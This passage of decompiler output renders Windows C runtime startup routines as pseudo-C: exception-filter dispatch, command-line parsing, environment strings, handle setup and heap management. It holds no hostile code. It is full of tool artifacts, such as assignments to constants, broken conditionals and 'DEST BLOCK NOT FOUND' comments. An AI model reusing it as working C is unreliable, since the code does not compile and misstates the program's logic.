asm("mul ecx");
return;
}
(save)ebx;
asm("mul ecx");
ebx = eax;
eax = A8;
asm("mul dword [esp+0x14]");
ebx = ebx + eax;
eax = A8;
asm("mul ecx");
edx = edx + ebx;
(restore)ebx;
}

/* Procedure: 0x00405854 - 0x00405994
* Argument size: 8
* Local size: 0
* Save regs size: 4
*/

L00405854(A8, Ac)
/* unknown */ void A8;
/* unknown */ void Ac;
{
/* unknown */ void ebx;

eax = L00405995(A8);
if(eax != 0) {
ebx = *(eax + 8);
if(ebx == 0) {
goto L00405989;
}
if(ebx == 5) {
*(eax + 8) = 0;
eax = 1;
} else {
if(ebx != 1) {
A8 = *L0064A870;
*L0064A870 = Ac;
ecx = *(eax + 4);
if(ecx == 8) {
ecx = *L0040CBB8;
edx = *L0040CBBC + ecx;
(save)esi;
if(ecx < edx) {
esi = ecx + ecx * 2;
edx = edx - ecx;
esi = esi * 4 + 0x40cb48;
do {
*esi = 0;
esi = esi + 12;
} while(edx = edx - 1);
}
eax = *eax;
esi = *L0040CBC4;
if(eax == -1073741682) {
*L0040CBC4 = 131;
} else {
if(eax == -1073741680) {
*L0040CBC4 = 129;
} else {
if(eax == -1073741679) {
*L0040CBC4 = 132;
} else {
if(eax == -1073741677) {
*L0040CBC4 = 133;
} else {
if(eax == -1073741683) {
*L0040CBC4 = 130;
} else {
if(eax == -1073741681) {
*L0040CBC4 = 134;
} else {
if(eax == -1073741678) {
*L0040CBC4 = 138;
}
}
}
}
}
}
}
(save) *L0040CBC4;
*ebx(8);
*L0040CBC4 = esi;
(restore)ecx;
(restore)esi;
} else {
*(eax + 8) = 0;
*ebx(ecx);
}
eax = A8;
*L0064A870 = eax;
}
eax = eax | -1;
}
} else {
L00405989:
eax = *__imp__UnhandledExceptionFilter(Ac);
}
}

/* DEST BLOCK NOT FOUND: 004059d3 -> 004059d7 */
/* Procedure: 0x00405995 - 0x004059D7
* Argument size: 4
* Local size: 0
* Save regs size: 0
*/

L00405995(A4)
/* unknown */ void A4;
{

ecx = *L0040CBC0;
(save)esi;
eax = 0x40cb40;
if(*L0040CB40 != A4) {
esi = (ecx + ecx * 2) * 4 + 0x40cb40;
do {
eax = eax + 12;
if(eax >= esi) {
break;
}
} while(*eax != A4);
}
ecx = ecx + ecx * 2;
(restore)esi;
if(eax >= ecx * 4 + 0x40cb40 || *eax != A4) {
eax = 0;
}
}

/* Procedure: 0x004059D8 - 0x00405A90
* Argument size: 0
* Local size: 0
* Save regs size: 4
*/

L004059D8()
{
/* unknown */ void ebx;

ebx = 0;
(save)esi;
(save)edi;
if(*L0064BD8C == 0) {
L004090AE();
}
esi = *L0064A848;
for(edi = 0; 1; esi = esi + L004035D0(esi) + 1) {
al = *esi;
if(al == bl) {
break;
}
if(al != 61) {
edi = edi + 1;
}
}
esi = L004072C1(edi * 4 + 4);
*L0064A81C = esi;
if(esi == ebx) {
L00403C75(9);
}
edi = *L0064A848;
if(*edi != bl) {
(save)ebp;
do {
ebp = L004035D0(edi) + 1;
if(*edi != 61) {
eax = L004072C1(ebp);
*esi = eax;
if(eax == ebx) {
L00403C75(9);
}
(save)edi;
L00403240( *esi);
esi = esi + 4;
(restore)ecx;
}
edi = edi + ebp;
} while(*edi != bl);
(restore)ebp;
}
*L0064A848 = ebx;
*esi = ebx;
(restore)edi;
(restore)esi;
*L0064BD88 = 1;
return(L00403CBE( *L0064A848));
}

/* Procedure: 0x00405A91 - 0x00405B29
* Argument size: 0
* Local size: 0
* Save regs size: 0
*/

L00405A91()
{

(save)ecx;
(save)ecx;
(save)ebx;
ebx = 0;
(save)esi;
(save)edi;
if(*L0064BD8C == 0) {
L004090AE();
}
esi = 6596724;
(save)260;
(save)6596724;
(save)ebx;
*__imp__GetModuleFileNameA();
eax = *L0064BD84;
*L0064A82C = esi;
edi = esi;
if(*eax != bl) {
edi = eax;
}
(save)ebp - 8;
(save)ebp - 4;
(save)ebx;
(save)ebx;
(save)edi;
L00405B2A();
eax = *(ebp - 8);
(save)eax + *(ebp - 4) * 4;
esi = L004072C1();
esp = esp + 24;
if(esi == ebx) {
L00403C75(8);
}
L00405B2A(edi, esi, esi + *(ebp - 4) * 4, ebp - 4, ebp - 8);
eax = *(ebp - 4) - 1;
*L0064A814 = esi;
(restore)edi;
(restore)esi;
*L0064A810 = eax;
(restore)ebx;
}

/* Procedure: 0x00405B2A - 0x00405CDD
* Argument size: 20
* Local size: 0
* Save regs size: 0
*/

L00405B2A(A8, Ac, A10, A14, A18)
/* unknown */ void A8;
/* unknown */ void Ac;
/* unknown */ void A10;
/* unknown */ void A14;
/* unknown */ void A18;
{

ecx = A18;
(save)ebx;
(save)esi;
*ecx = 0;
esi = A10;
(save)edi;
edi = Ac;
*A14 = 1;
A14 = A8;
if(edi != 0) {
*edi = esi;
edi = edi + 4;
Ac = edi;
}
if(*A14 == 34) {
while(1) {
dl = *(A14 + 1);
A14 = A14 + 1;
if(dl == 34 || dl == 0) {
break;
}
if(!( *((dl & 255) + 6597409) & 4)) {
*ecx = *ecx + 1;
if(esi != 0) {
*esi = *A14;
esi = esi + 1;
A14 = A14 + 1;
}
}
*ecx = *ecx + 1;
if(esi == 0) {
continue;
}
*esi = *A14;
esi = esi + 1;
}
*ecx = *ecx + 1;
if(esi != 0) {
*esi = 0;
esi = esi + 1;
}
if(*A14 == 34) {
A14 = A14 + 1;
}
} else {
do {
*ecx = *ecx + 1;
if(esi != 0) {
*esi = *A14;
esi = esi + 1;
}
dl = *A14;
A14 = A14 + 1;
if(!( *((dl & 255) + 6597409) & 4)) {
*ecx = *ecx + 1;
if(esi != 0) {
bl = *A14;
*esi = bl;
esi = esi + 1;
}
A14 = A14 + 1;
}
if(dl == 32) {
break;
}
if(dl == 0) {
goto L00405bd5;
}
} while(dl != 9);
if(dl == 0) {
L00405bd5:
A14 = A14 - 1;
} else {
if(esi != 0) {
*(esi - 1) = 0;
}
}
}
for(A18 = 0; *A14 != 0; *ecx = *ecx + 1) {
while(1) {
dl = *A14;
if(dl != 32 && dl != 9) {
break;
}
A14 = A14 + 1;
}
if(*A14 == 0) {
break;
}
if(edi != 0) {
*edi = esi;
edi = edi + 4;
Ac = edi;
}
for(*A14 = *A14 + 1; 1; A14 = A14 + 1) {
A8 = 1;
for(ebx = 0; *A14 == 92; ebx = ebx + 1) {
A14 = A14 + 1;
}
if(*A14 == 34) {
if(!(bl & 1)) {
edi = 0;
if(A18 != 0) {
*(A14 + 1) :: 34;
if(!(edx = A14 + 1)) {
goto L00405c42;
}
}
A8 = edi;
goto L00405c49;
L00405c42:
A14 = edx;
L00405c49:
edi = Ac;
A18 = 0 & 255;
}
ebx = ebx >> 1;
}
edx = ebx;
ebx = ebx - 1;
if(edx != 0) {
ebx = ebx + 1;
do {
if(esi != 0) {
*esi = 92;
esi = esi + 1;
}
*ecx = *ecx + 1;
} while(ebx = ebx - 1);
}
dl = *A14;
if(dl == 0 || A18 == 0 && (dl == 32 || dl == 9)) {
break;
}
if(A8 != 0) {
if(esi == 0) {
if(!( *((dl & 255) + 6597409) & 4)) {
A14 = A14 + 1;
*ecx = *ecx + 1;
}
} else {
if(!( *((dl & 255) + 6597409) & 4)) {
*esi = dl;
esi = esi + 1;
A14 = A14 + 1;
*ecx = *ecx + 1;
}
*esi = *A14;
esi = esi + 1;
}
*ecx = *ecx + 1;
}
}
if(esi != 0) {
*esi = 0;
esi = esi + 1;
}
}
if(edi != 0) {
*edi = 0;
}
(restore)edi;
(restore)esi;
(restore)ebx;
*A14 = *A14 + 1;
}

stack space not deallocated on return
/* Procedure: 0x00405CDE - 0x00405E0F
* Argument size: 40
* Local size: 0
* Save regs size: 8
*/

L00405CDE(A18, A2c, A3c)
/* unknown */ void A18;
/* unknown */ void A2c;
/* unknown */ void A3c;
{
/* unknown */ void ecx;
/* unknown */ void ecx;

eax = *L0064A978;
(save)A18;
(save)ebp;
ebp = __imp__GetEnvironmentStringsW;
(save)esi;
(save)edi;
A18 = 0;
esi = 0;
edi = 0;
if(eax == 0) {
esi = *__imp__GetEnvironmentStringsW();
if(esi != A18) {
*L0064A978 = 1;
goto L00405d35;
}
edi = *__imp__GetEnvironmentStrings();
if(edi == A18) {
goto L00405e07;
}
*L0064A978 = 2;
} else {
if(eax == 1) {
L00405d35:
if(esi == A18) {
esi = *ebp();
if(esi == A18) {
goto L00405e07;
}
}
eax = esi;
if(*esi != bx) {
L00405d4c:
do {
eax = eax + 1 + 1;
if(*eax != bx) {
goto L00405d4c;
}
eax = eax + 1 + 1;
} while(*eax != bx);
}
eax = eax - esi;
edi = __imp__WideCharToMultiByte;
(save)A18;
(save)A18;
eax = (eax >> 1) + 1;
(save)A18;
(save)A18;
(save)eax;
(save)esi;
(save)A18;
(save)A18;
A3c = eax;
ebp = *__imp__WideCharToMultiByte();
if(ebp != A18) {
eax = L004072C1(ebp);
A18 = eax;
if(eax != A18) {
(save)A18;
(save)A18;
(save)ebp;
(save)eax;
(save)A2c;
(save)esi;
(save)A18;
(save)A18;
if(*edi() == 0) {
L00403CBE(A18);
A18 = A18;
}
}
}
(save)esi;
*__imp__FreeEnvironmentStringsW();
eax = A18;
goto L00405e09;
}
if(eax != 2) {
goto L00405e07;
}
}
if(edi == A18) {
edi = *__imp__GetEnvironmentStrings();
if(edi == A18) {
goto L00405e07;
}
}
eax = edi;
if(*edi != bl) {
L00405dd1:
do {
eax = eax + 1;
if(*eax != bl) {
goto L00405dd1;
}
eax = eax + 1;
} while(*eax != bl);
}
ebp = eax - edi + 1;
esi = L004072C1(ebp);
if(esi == A18) {
esi = 0;
} else {
L00407360(esi, edi, ebp);
}
*__imp__FreeEnvironmentStringsA(edi);
eax = esi;
goto L00405e09;
L00405e07:
eax = 0;
L00405e09:
(restore)edi;
(restore)esi;
(restore)ebp;
(restore)A18;
}

stack space not deallocated on return
/* Procedure: 0x00405E10 - 0x00405FBA
* Argument size: 56
* Local size: 68
* Save regs size: 16
*/

L00405E10(A64, A96, A98)
/* unknown */ void A64;
/* unknown */ void A96;
/* unknown */ void A98;
{
/* unknown */ void ebx;
/* unknown */ void ebp;
/* unknown */ void esi;
/* unknown */ void edi;

esi = L004072C1(256);
if(esi == 0) {
L00403C75(27);
}
*L0064AC60 = esi;
*L0064AD60 = 32;
for(eax = esi + 256; esi < eax; eax = *L0064AC60 + 256) {
*(esi + 4) = 0;
*esi = *esi | -1;
*(esi + 5) = 10;
esi = esi + 8;
}
(save) & A64;
*__imp__GetStartupInfoA();
if(A96 != 0) {
eax = A98;
if(eax != 0) {
esi = *eax;
ebp = eax + 4;
eax = 2048;
esi :: 2048;
if(!(ebx = esi + ebp)) {
esi = 2048;
}
if(*L0064AD60 < esi) {
edi = 6597732;
do {
eax = L004072C1(256);
if(eax == 0) {
goto L00405eee;
}
*L0064AD60 = *L0064AD60 + 32;
*edi = eax;
for(ecx = eax + 256; eax < ecx; ecx = ecx + 256) {
*(eax + 4) = 0;
*eax = *eax | -1;
*(eax + 5) = 10;
ecx = *edi;
eax = eax + 8;
}
edi = edi + 4;
} while(*L0064AD60 < esi);
goto L00405ef4;
L00405eee:
esi = *L0064AD60;
}
L00405ef4:
edi = 0;
if(esi > 0) {
do {
eax = *ebx;
if(eax != -1) {
cl = *ebp;
if(!(cl & 1)) {
if(cl & 8) {
goto L00405f19;
}
(save)eax;
if(*__imp__GetFileType() != 0) {
L00405f19:
eax = edi;
ecx = edi;
eax = eax >> 5;
ecx = ecx & 31;
eax = *(eax * 4 + 6597728) + ecx * 8;
*eax = *ebx;
*(eax + 4) = *ebp;
}
}
}
edi = edi + 1;
ebp = ebp + 1;
ebx = ebx + 4;
} while(edi < esi);
}
}
}
ebx = 0;
do {
eax = *L0064AC60;
*(eax + ebx * 8) :: -1;
if(esi = eax + ebx * 8) {
*(esi + 4) = *(esi + 4) | 128;
} else {
*(esi + 4) = 129;
if(ebx != 0) {
eax = ~(ebx - 1);
asm("sbb eax,eax");
eax = eax + -11;
} else {
eax = -10;
}
(save)eax;
edi = *__imp__GetStdHandle();
if(edi == -1) {
goto L00405f8c;
}
(save)edi;
eax = *__imp__GetFileType();
if(eax == 0) {
goto L00405f8c;
}
eax = eax & 255;
*esi = edi;
if(eax == 2) {
goto L00405f8c;
}
if(eax == 3) {
*(esi + 4) = *(esi + 4) | 8;
goto L00405fa1;
L00405f8c:
*(esi + 4) = *(esi + 4) | 64;
}
}
L00405fa1:
ebx = ebx + 1;
} while(ebx < 3);
return(*__imp__SetHandleCount( *L0064AD60));
}

stack space not deallocated on return
/* Procedure: 0x00405FBB - 0x00405FF7
* Argument size: 4
* Local size: 0
* Save regs size: 0
*/

L00405FBB(A8)
/* unknown */ void A8;
{

(save)0;
(save)4096;
0 = 0;
(save)0;
eax = *__imp__HeapCreate();
*L0064AC40 = eax;
if(eax != 0) {
if(L00406354() != 0) {
goto L00405ff3;
}
*__imp__HeapDestroy( *L0064AC40);
}
return(0);
L00405ff3:
return(1);
asm("int3");
}

/* DEST BLOCK NOT FOUND: 00406028 -> 00406039 */
stack space not deallocated on return
/* Procedure: 0x00405FF8 - 0x00406039
* Argument size: 16
* Local size: 0
* Save regs size: 0
*/

L00405FF8(A4, A8, A10)
/* unknown */ void A4;
/* unknown */ void A8;
/* unknown */ void A10;
{

ebp = esp;
eax = RtlUnwind( *(ebp + 8), 0x406010, 0, 0, ebp, edi, esi, ebx, ebp);
(restore)ebp;
(restore)edi;
(restore)esi;
(restore)ebx;
(restore)ebp;
return;
eax = 1;
if(!( *(A4 + 4) & 6)) {
*A10 = A8;
eax = 3;
}
}

/* DEST BLOCK NOT FOUND: 004060cc -> 004060d8 */
/* Procedure: 0x0040603A - 0x004060CD
* Argument size: 8
* Local size: 0
* Save regs size: 0
*/

L0040603A(A4, A8)
/* unknown */ void A4;
/* unknown */ void A8;
{
/* unknown */ void Vffffffec;

(save)ebx;
(save)esi;
(save)edi;
(save)A4;
(save)-2;
(save)0x406018;
(save) *%fs:0x0];
*%fs:0x0] = esp;
L00406057:
eax = A4;
ebx = *(eax + 8);
esi = *(eax + 12);
if(esi != -1 && esi != A8) {
esi = esi + esi * 2;
ecx = *(ebx + esi * 4);
Vffffffec = ecx;
*(eax + 12) = Vffffffec;
if(*(ebx + esi * 4 + 4) == 0) {
eax = *(ebx + esi * 4 + 8);
L004060CE(257);
*(ebx + esi * 4 + 8)();
}
goto L00406057;
}
(restore) *%fs:0x0];
esp = esp + 12;
(restore)edi;
(restore)esi;
(restore)ebx;
return;
eax = 0;
ecx = *%fs:0x0];
if(*(ecx + 4) == 0x406018 && *(ecx + 8) == *( *(ecx + 12) + 12)) {
eax = 1;
}
return;
(save)ebx;
(save)ecx;
ebx = 0x40cbd4;
goto L004060d8;
}

stack space not deallocated on return
/* Procedure: 0x004060CE - 0x004061C7
* Argument size: 4
* Local size: 0
* Save regs size: 0
*/

L004060CE(A8)
/* unknown */ void A8;
{

(save)ebx;
(save)A8;
ebx = 0x40cbd4;
A8 = *(ebp + 8);
*(ebx + 8) = A8;
*(ebx + 4) = eax;
*(ebx + 12) = ebp;
(restore)A8;
(restore)ebx;
return;
asm("int3");
asm("int3");
(save)esi;
ebx = ebx + 1;
dh = dh ^ *eax;
(restore)eax;
ebx = ebx + 1;
*eax = *eax ^ dh;
(save)ebp;
ebp = esp;
esp = esp - 8;
(save)ebx;
(save)esi;
(save)edi;
(save)ebp;
asm("cld");
ebx = *(ebp + 12);
eax = *(ebp + 8);
if(!( *(eax + 4) & 6)) {
*(ebp - 8) = eax;
*(ebp - 4) = *(ebp + 16);
*(ebx - 4) = ebp - 8;
esi = *(ebx + 12);
edi = *(ebx + 8);
L00406123:
if(esi != -1) {
A8 = esi + esi * 2;
if(*(edi + A8 * 4 + 4) != 0) {
(save)esi;
(save)ebp;
ebp = ebx + 16;
eax = *(edi + A8 * 4 + 4)();
(restore)ebp;
(restore)esi;
ebx = *(ebp + 12);
if(eax != 0) {
>= ? 0x406182 : ;
edi = *(ebx + 8);
L00405FF8(ebx);
ebp = ebx + 16;
L0040603A(ebx, esi);
eax = *(edi + (esi + esi * 2) * 4 + 8);
L004060CE(1);
*(ebx + 12) = *(edi + A8 * 4);
*(edi + A8 * 4 + 8)();
}
}
edi = *(ebx + 8);
esi = *(edi + (esi + esi * 2) * 4);
goto L00406123;
eax = 0;
} else {
eax = 1;
}
} else {
(save)ebp;
ebp = ebx + 16;
L0040603A(ebx, -1);
(restore)ebp;
eax = 1;
}
(restore)ebp;
(restore)edi;
(restore)esi;
(restore)ebx;
esp = ebp;
(restore)ebp;
return;
(save)ebp;
ebp = *A8;
eax = L0040603A( *(A8 + 24), *(A8 + 28));
(restore)ebp;
}

/* DEST BLOCK NOT FOUND: 004061d4 -> 00406200 */
/* DEST BLOCK NOT FOUND: 004061dd -> 00406200 */
/* Procedure: 0x004061C8 - 0x00406200
* Argument size: 0
* Local size: 0
* Save regs size: 0
*/

L004061C8()
{

eax = *L0064A850;
if(eax == 1 || eax == 0 && *L0040C668 == 1) {
L00406201(252);
eax = *L0064A97C;
if(eax != 0) {
*eax();
}
eax = L00406201(255);
}
}

/* Procedure: 0x00406201 - 0x00406353
* Argument size: -416
* Local size: 420
* Save regs size: 0
*/

L00406201(A8)
/* unknown */ void A8;
{
/* unknown */ void Vfffffe5c;
/* unknown */ void Vffffff60;

edx = A8;
ecx = 0;
eax = 0x40cbe8;
do {
if(edx == *eax) {
break;
}
eax = eax + 8;
ecx = ecx + 1;
} while(eax < 0x40cc78);
(save)esi;
esi = ecx << 3;
if(edx == *(esi + 0x40cbe8)) {
eax = *L0064A850;
if(eax == 1 || eax == 0 && *L0040C668 == 1) {
goto L0040632b;
}
if(edx != 252) {
(save)260;
(save) & Vfffffe5c;
(save)0;
if(*__imp__GetModuleFileNameA() == 0) {
(save)4240600;
L00403240( & Vfffffe5c);
}
(save)edi;
edi = & Vfffffe5c;
if(L004035D0( & Vfffffe5c) + 1 > 60) {
edi = L004035D0( & Vfffffe5c) + & Vfffffe5c - 59;
L00403A70(edi, 4240596, 3);
}
(save)4240568;
L00403240( & Vffffff60);
L00403250( & Vffffff60, edi);
L00403250( & Vffffff60, 4240564);
L00403250( & Vffffff60, *(esi + 0x40cbec));
(save)73744;
(save)4240524;
(save) & Vffffff60;
eax = L004090CA();
esp = esp + 44;
(restore)edi;
goto L00406351;
L0040632b:
esi = esi + 0x40cbec;
eax = *__imp__WriteFile( *__imp__GetStdHandle(), -12, *esi, L004035D0( *esi), & A8, 0);
}
}
L00406351:
(restore)esi;
}

stack space not deallocated on return
/* Procedure: 0x00406354 - 0x00406391
* Argument size: 0
* Local size: 0
* Save regs size: 0
*/

L00406354()
{

eax = *__imp__HeapAlloc( *L0064AC40, 0, 320);
*L0064AC3C = eax;
if(eax == 0) {
return;
}
*L0064AC34 = 0;
*L0064AC38 = 0;
(save)1;
*L0064AC30 = eax;
*L0064AC28 = 16;
(restore)eax;
}

/* DEST BLOCK NOT FOUND: 004063b3 -> 004063bc */
/* Procedure: 0x00406392 - 0x004063BC
* Argument size: 4
* Local size: 0
* Save regs size: 0
*/

L00406392(A4)
/* unknown */ void A4;
{

eax = *L0064AC3C;
for(ecx = eax + ( *L0064AC38 + *L0064AC38 * 4) * 4; eax < ecx; eax = eax + 20) {
if(A4 - *(eax + 12) < 1048576) {
goto L004063bc;
}
}
eax = 0;
L004063bc:
}

/* Procedure: 0x004063BD - 0x004066E7
* Argument size: -9
* Local size: 20
* Save regs size: 0
*/

L004063BD(A8, Ac, Af)
/* unknown */ void A8;
/* unknown */ void Ac;
/* unknown */ void Af;
{
/* unknown */ void Vffffffec;
/* unknown */ void Vfffffff0;
/* unknown */ void Vfffffff4;
/* unknown */ void Vfffffff8;
/* unknown */ void Vfffffffc;

edx = Ac;
ecx = A8;
(save)ebx;
(save)esi;
eax = *(ecx + 16);
esi = edx - *(ecx + 12);
ebx = *(edx - 4);
edx = edx + -4;
(save)edi;
esi = esi >> 15;
ecx = esi;
edi = *(edx - 4);
516 = ecx * ecx;
ebx = ebx - 1;
Vfffffffc = edi;
Vfffffff4 = ebx;
Vfffffff0 = ecx + eax + 324;
ecx = *(ebx + edx);
Vfffffff8 = ecx;
if(!(cl & 1)) {
(save)63;
ecx = (ecx >> 4) - 1;
(restore)edi;
Ac = ecx;
if(ecx > edi) {
Ac = edi;
}
if(*(ebx + edx + 4) == *(ebx + edx + 8)) {
ecx = Ac;
if(ecx >= 32) {
goto L00406443;
}
edi = -2147483648 >> cl;
ecx = ecx + eax + 4;
edi = !edi;
*(eax + esi * 4 + 68) = *(eax + esi * 4 + 68) & edi;
if(!( *ecx = *ecx - 1)) {
*A8 = *A8 & edi;
goto L00406467;
L00406443:
ecx = ecx + -32;
edi = -2147483648 >> cl;
ecx = Ac + eax + 4;
edi = !edi;
*(eax + esi * 4 + 196) = *(eax + esi * 4 + 196) & edi;
if(!( *ecx = *ecx - 1)) {
*(A8 + 4) = *(A8 + 4) & edi;
}
}
}
L00406467:
ecx = *(ebx + edx + 8);
*(ecx + 4) = *(ebx + edx + 4);
ecx = *(ebx + edx + 4);
edi = *(ebx + edx + 8);
ebx = ebx + Vfffffff8;
*(ecx + 8) = edi;
Vfffffff4 = ebx;
}
edi = (ebx >> 4) - 1;
if(edi > 63) {
edi = 63;
}
if(!(Vffffffec = Vfffffffc & 1)) {
edx = edx - Vfffffffc;
(save)63;
Vfffffff8 = edx;
ecx = (Vfffffffc >> 4) - 1;
(restore)edx;
Ac = ecx;
if(ecx > edx) {
Ac = edx;
ecx = edx;
}
ebx = ebx + Vfffffffc;
Vfffffff4 = ebx;
edi = (ebx >> 4) - 1;
if(edi > edx) {
edi = edx;
}
if(ecx != edi) {
ecx = Vfffffff8;
if(*(ecx + 4) == *(ecx + 8)) {
ecx = Ac;
if(ecx >= 32) {
goto L00406501;
}
edx = -2147483648 >> cl;
ecx = ecx + eax + 4;
edx = !edx;
*(eax + esi * 4 + 68) = *(eax + esi * 4 + 68) & edx;
if(!( *ecx = *ecx - 1)) {
*A8 = *A8 & edx;
goto L00406525;
L00406501:
ecx = ecx + -32;
edx = -2147483648 >> cl;
ecx = Ac + eax + 4;
edx = !edx;
*(eax + esi * 4 + 196) = *(eax + esi * 4 + 196) & edx;
if(!( *ecx = *ecx - 1)) {
*(A8 + 4) = *(A8 + 4) & edx;
}
}
}
L00406525:
ecx = Vfffffff8;
edx = *(ecx + 8);
*(edx + 4) = *(ecx + 4);
ecx = Vfffffff8;
edx = *(ecx + 4);
*(edx + 8) = *(ecx + 8);
}
edx = Vfffffff8;
}
if(Vffffffec != 0 || Ac != edi) {
*(edx + 4) = *(Vfffffff0 + edi * 8 + 4);
ecx = Vfffffff0 + edi * 8;
*(edx + 8) = ecx;
*( *(edx + 8) + 4) = edx;
*( *(edx + 4) + 8) = edx;
if(*(edx + 4) == *(edx + 8)) {
cl = *(edi + eax + 4);
edi :: 32;
Af = cl;
*(edi + eax + 4) = cl;
if(!(cl = Af + 1)) {
if(Af == 0) {
ecx = edi;
ebx = -2147483648 >> cl;
*A8 = *A8 | ebx;
}
ebx = -2147483648 >> edi;
*(eax + esi * 4 + 68) = *(eax + esi * 4 + 68) | ebx;
} else {
if(Af == 0) {
ecx = edi - 32;
ebx = -2147483648 >> cl;
*(A8 + 4) = *(A8 + 4) | ebx;
}
ecx = edi - 32;
edi = -2147483648 >> cl;
*(eax + esi * 4 + 196) = *(eax + esi * 4 + 196) | edi;
}
ebx = Vfffffff4;
}
}
eax = Vfffffff0;
*edx = ebx;
*(ebx + edx - 4) = ebx;
if(!( *eax = *eax - 1)) {
eax = *L0064AC34;
if(eax != 0) {
edi = __imp__VirtualFree;
ecx = ( *L0064AC2C << 15) + *(eax + 12);
ebx = 32768;
(save)16384;
(save)32768;
(save)ecx;
*__imp__VirtualFree();
*( *L0064AC34 + 8) = *( *L0064AC34 + 8) | -2147483648 >> *L0064AC2C;
*( *( *L0064AC34 + 16) + *L0064AC2C * 4 + 196) = 0;
*( *( *L0064AC34 + 16) + 67) = *( *( *L0064AC34 + 16) + 67) - 1;
eax = *L0064AC34;
if(*( *(eax + 16) + 67) == 0) {
*(eax + 4) = *(eax + 4) & -2;
eax = *L0064AC34;
}
if(*(eax + 8) != -1) {
goto L004066d5;
}
(save)ebx;
(save)0;
(save) *(eax + 12);
*edi();
(save) *( *L0064AC34 + 16);
(save)0;
(save) *L0064AC40;
*__imp__HeapFree();
eax = *L0064AC34;
L00403730(eax, eax + 20, ( *L0064AC38 + *L0064AC38 * 4 << 2) - eax + *L0064AC3C - 20);
eax = A8;
*L0064AC38 = *L0064AC38 - 1;
if(eax > *L0064AC34) {
eax = eax - 20;
}
*L0064AC30 = *L0064AC3C;
} else {
L004066d5:
eax = A8;
}
*L0064AC34 = eax;
*L0064AC2C = esi;
}
(restore)edi;
(restore)esi;
(restore)ebx;
}

/* Procedure: 0x004066E8 - 0x004069F0
* Argument size: -13
* Local size: 20
* Save regs size: 0
*/

L004066E8(A8, Ab)
/* unknown */ void A8;
/* unknown */ void Ab;
{
/* unknown */ void Vffffffec;
/* unknown */ void Vfffffff0;
/* unknown */ void Vfffffff4;
/* unknown */ void Vfffffff8;
/* unknown */ void Vfffffffc;

edx = *L0064AC3C;
(save)ebx;
(save)esi;
(save)edi;
edi = edx + ( *L0064AC38 + *L0064AC38 * 4) * 4;
eax = A8;
Vfffffffc = edi;
ecx = eax + 23 & -16;
Vfffffff0 = ecx;
ecx = (Vfffffff0 >> 4) - 1;
if(ecx < 32) {
esi = (esi | -1) >> cl;
Vfffffff8 = Vfffffff8 | -1;
Vfffffff4 = esi;
} else {
ecx = ecx + -32;
eax = eax | -1;
esi = 0;
Vfffffff4 = 0;
Vfffffff8 = eax >> cl;
}
eax = *L0064AC30;
ebx = eax;
A8 = ebx;
if(ebx < edi) {
do {
ecx = *(ebx + 4);
edi = *ebx;
ecx = ecx & Vfffffff8;
if(ecx = ecx | edi & esi) {
break;
}
ebx = ebx + 20;
A8 = ebx;
} while(ebx < Vfffffffc);
}
if(ebx == Vfffffffc) {
for(ebx = edx; 1; ebx = ebx + 20) {
A8 = ebx;
if(ebx >= eax) {
break;
}
ecx = *(ebx + 4);
edi = *ebx;
ecx = ecx & Vfffffff8;
if(ecx = ecx | edi & esi) {
break;
}
}
if(ebx != eax) {
goto L004067dd;
}
while(ebx < Vfffffffc && *(ebx + 8) == 0) {
ebx = ebx + 20;
A8 = ebx;
}
if(ebx == Vfffffffc) {
for(ebx = edx; 1; ebx = ebx + 20) {
A8 = ebx;
if(ebx >= eax || *(ebx + 8) != 0) {
break;
}
}
if(ebx == eax) {
ebx = L004069F1();
A8 = ebx;
if(ebx == 0) {
goto L004067d6;
}
}
}
eax = L00406AA2(ebx);
*( *(ebx + 16)) = eax;
if(*( *(ebx + 16)) != -1) {
goto L004067dd;
}
L004067d6:
eax = 0;
} else {
L004067dd:
*L0064AC30 = ebx;
eax = *(ebx + 16);
edx = *eax;
Vfffffffc = edx;
if(edx != -1) {
ecx = *(eax + edx * 4 + 196);
edi = *(eax + edx * 4 + 68);
ecx = ecx & Vfffffff8;
if(ecx = ecx | edi & esi) {
goto L0040683b;
}
}
edx = *(eax + 196);
esi = *(eax + 68);
edx = edx & Vfffffff8;
esi = esi & Vfffffff4;
Vfffffffc = 0;
ecx = eax + 68;
esi = Vfffffff4;
if(!(edx = edx | esi)) {
do {
Vfffffffc = Vfffffffc + 1;
edx = *(ecx + 132) & Vfffffff8;
ecx = ecx + 4;
} while(edx = edx | esi & *ecx);
}
edx = Vfffffffc;
L0040683b:
ecx = edx;
edi = 0;
516 = ecx * ecx;
Vfffffff4 = ecx + eax + 324;
if(!(ecx = *(eax + edx * 4 + 68) & esi)) {
(save)32;
ecx = *(eax + edx * 4 + 196) & Vfffffff8;
(restore)edi;
}
while(ecx >= 0) {
ecx = ecx << 1;
edi = edi + 1;
}
edx = *(Vfffffff4 + edi * 8 + 4);
ecx = *edx - Vfffffff0;
Vfffffff8 = ecx;
esi = (ecx >> 4) - 1;
if(esi > 63) {
esi = 63;
}
if(esi != edi) {
if(*(edx + 4) == *(edx + 8)) {
if(edi < 32) {
ebx = -2147483648 >> edi;
ecx = Vfffffffc;
edi = eax + edi + 4;
ebx = !ebx;
Vffffffec = ebx;
*(eax + ecx * 4 + 68) = Vffffffec & *(eax + ecx * 4 + 68);
if(*edi = *edi - 1) {
goto L004068f8;
}
ebx = A8;
*ebx = *ebx & Vffffffec;
} else {
ecx = edi - 32;
ebx = -2147483648 >> cl;
edi = eax + edi + 4;
ecx = eax + Vfffffffc * 4 + 196;
ebx = !ebx;
*ecx = *ecx & ebx;
Vffffffec = ebx;
if(!( *edi = *edi - 1)) {
ebx = A8;
*(ebx + 4) = *(ebx + 4) & Vffffffec;
} else {
L004068f8:
ebx = A8;
}
}
}
ecx = *(edx + 8);
*(ecx + 4) = *(edx + 4);
ecx = *(edx + 4);
*(ecx + 8) = *(edx + 8);
if(Vfffffff8 == 0) {
goto L004069ab;
}
ecx = Vfffffff4;
edi = *(ecx + esi * 8 + 4);
ecx = ecx + esi * 8;
*(edx + 4) = edi;
*(edx + 8) = ecx;
*( *(edx + 8) + 4) = edx;
*( *(edx + 4) + 8) = edx;
if(*(edx + 4) == *(edx + 8)) {
cl = *(esi + eax + 4);
Ab = cl;
if(esi < 32) {
cl = cl + 1;
*(esi + eax + 4) = cl;
if(Ab == 0) {
ecx = esi;
*ebx = *ebx | -2147483648 >> cl;
}
edi = -2147483648 >> esi;
*(eax + Vfffffffc * 4 + 68) = *(eax + Vfffffffc * 4 + 68) | edi;
} else {
cl = cl + 1;
*(esi + eax + 4) = cl;
if(Ab == 0) {
ecx = esi - 32;
